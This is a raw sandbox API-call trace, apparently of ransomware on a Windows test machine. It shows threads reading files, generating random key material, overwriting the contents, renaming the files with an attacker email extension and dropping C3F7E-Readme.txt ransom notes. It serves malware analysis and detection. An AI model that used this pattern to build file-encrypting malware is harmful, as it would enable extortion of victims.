	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4897dd8
	[0078.490] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.490] WriteFile (in: hFile=0x980, lpBuffer=0x4897dd8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x970f814, lpOverlapped=0x0 | out: lpBuffer=0x4897dd8*, lpNumberOfBytesWritten=0x970f814*=0x113, lpOverlapped=0x0) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897dd8) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e268) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e2d8) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0078.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986908
	[0078.664] wcscpy (in: _Dest=0x4986908, _Source="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml"
	[0078.664] wcscat (in: _Dest=0x4986908, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.664] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x970f7cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a6e8
	[0078.665] NtSetInformationFile (FileHandle=0x980, IoStatusBlock=0x970f7c4, FileInformation=0x476a6e8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.719] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a6e8) returned 1
	[0078.719] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d4b8) returned 1
	[0078.719] NtQueryInformationFile (in: FileHandle=0x980, IoStatusBlock=0x970f7d8, FileInformation=0x970f7b0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x970f7d8, FileInformation=0x970f7b0) returned 0x0
	[0078.719] NtSetInformationFile (FileHandle=0x980, IoStatusBlock=0x970f7d8, FileInformation=0x970f7b0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986908) returned 1
	[0078.721] FlushFileBuffers (hFile=0x980) returned 1
	[0080.065] CloseHandle (hObject=0x980) returned 1
	[0080.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.175] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0080.175] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt"
	[0080.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\c3f7e-readme.txt")) returned 0x20
	[0080.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79f68) returned 1

Thread:
	id = 178
	os_tid = 0x111c

	[0075.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0075.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.429] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x978fed0 | out: lpFileSize=0x978fed0*=3419) returned 1
	[0075.429] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xd57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.429] ReadFile (in: hFile=0x984, lpBuffer=0x978fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x978fe50, lpOverlapped=0x0 | out: lpBuffer=0x978fe54*, lpNumberOfBytesRead=0x978fe50*=0x4, lpOverlapped=0x0) returned 1
	[0075.431] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0075.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.431] NtQuerySystemTime (in: CurrentTime=0x978fe30 | out: CurrentTime=0x978fe30*=132251868021690927) returned 0x0
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x1662ca06
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xedbbdab9
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x8885a6a3
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xd59f064d
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x9b6779f0
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xc52329cc
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x8f28e777
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xfcc5b548
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xc5a5ece
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x847459ad
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x255954f7
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xdc44687e
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x37794ec6
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xd509ceae
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xb4a83de3
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xc114b451
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xf003cce1
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xfecfdd63
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x659dfe57
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x3a899041
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x54442dbf
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x3d96fa9e
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xebcece43
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x25c02378
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x46fee5ae
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xec95b07c
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x90e6d0c4
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xabecb959
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0x45bce6e4
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xc5603b62
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xa6a468cb
	[0075.431] RtlRandom (in: Seed=0x978fe3c | out: Seed=0x978fe3c) returned 0xe4ba6cc
	[0075.441] ReadFile (in: hFile=0x984, lpBuffer=0x4865838, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0x978fe2c, lpOverlapped=0x0 | out: lpBuffer=0x4865838*, lpNumberOfBytesRead=0x978fe2c*=0xd5b, lpOverlapped=0x0) returned 1
	[0075.441] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.441] WriteFile (in: hFile=0x984, lpBuffer=0x4872040*, nNumberOfBytesToWrite=0xd5b, lpNumberOfBytesWritten=0x978fe28, lpOverlapped=0x0 | out: lpBuffer=0x4872040*, lpNumberOfBytesWritten=0x978fe28*=0xd5b, lpOverlapped=0x0) returned 1
	[0075.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4872040) returned 1
	[0075.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4865838) returned 1
	[0075.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47f88
	[0075.443] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.443] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x978fe90, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x978fe90*=0x101, lpOverlapped=0x0) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0075.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0075.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.445] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1031\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf"
	[0075.445] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.445] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x978fe48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.448] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x978fe54, FileInformation=0x978fe2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x978fe54, FileInformation=0x978fe2c) returned 0x0
	[0075.448] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x978fe54, FileInformation=0x978fe2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.449] FlushFileBuffers (hFile=0x984) returned 1
	[0075.450] CloseHandle (hObject=0x984) returned 1
	[0075.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.451] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0075.451] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt"
	[0075.451] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.451] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.452] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x978fe50, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x978fe50*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.453] CloseHandle (hObject=0x984) returned 1
	[0075.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47310f0) returned 1

Thread:
	id = 179
	os_tid = 0xbe8

	[0075.442] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0075.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988
	[0075.445] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x980fe98 | out: lpFileSize=0x980fe98*=82346) returned 1
	[0075.445] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x141a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.445] ReadFile (in: hFile=0x988, lpBuffer=0x980fe1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x980fe18, lpOverlapped=0x0 | out: lpBuffer=0x980fe1c*, lpNumberOfBytesRead=0x980fe18*=0x4, lpOverlapped=0x0) returned 1
	[0075.450] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0075.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.450] NtQuerySystemTime (in: CurrentTime=0x980fdf8 | out: CurrentTime=0x980fdf8*=132251868021847024) returned 0x0
	[0075.451] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xe419618b
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xa4cceb9a
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xa9ec30a7
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x9eca1c8f
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x6566aaee
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x1e8f5525
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x6ad4cf8d
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xc751a99a
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xc1aa9ed4
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x9a823a26
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xcf48f3d6
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xfba100a0
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x32096280
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x11433638
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x949e4d9
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x12a862ca
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x69ecbdf1
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xebaf643
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x82345bac
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xfc8d8b5d
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xb6b457bf
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x29347659
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x581c1855
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x77919c27
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x1298f1fa
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xde8cfe
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x891c9b68
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x5624d058
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x9fbc69f9
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0x1d460d9e
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xa9ed4a36
	[0075.454] RtlRandom (in: Seed=0x980fe04 | out: Seed=0x980fe04) returned 0xed55d6f7
	[0075.463] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.463] ReadFile (in: hFile=0x988, lpBuffer=0x4865838, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x980fdd8, lpOverlapped=0x0 | out: lpBuffer=0x4865838*, lpNumberOfBytesRead=0x980fdd8*=0xc800, lpOverlapped=0x0) returned 1
	[0075.464] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4872040
	[0075.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.465] WriteFile (in: hFile=0x988, lpBuffer=0x4872040*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x980fdd8, lpOverlapped=0x0 | out: lpBuffer=0x4872040*, lpNumberOfBytesWritten=0x980fdd8*=0xc800, lpOverlapped=0x0) returned 1
	[0075.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4872040) returned 1
	[0075.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4865838) returned 1
	[0075.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a578
	[0075.469] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.469] WriteFile (in: hFile=0x988, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x980fe58, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x980fe58*=0x113, lpOverlapped=0x0) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a460) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a578) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0075.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0075.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0075.470] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml"
	[0075.470] wcscat (in: _Dest=0x2d7f268, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x980fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d89460
	[0075.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.471] NtQueryInformationFile (in: FileHandle=0x988, IoStatusBlock=0x980fe1c, FileInformation=0x980fdf4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x980fe1c, FileInformation=0x980fdf4) returned 0x0
	[0075.471] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0x980fe1c, FileInformation=0x980fdf4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0075.472] FlushFileBuffers (hFile=0x988) returned 1
	[0075.482] CloseHandle (hObject=0x988) returned 1
	[0075.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.483] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0075.483] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt"
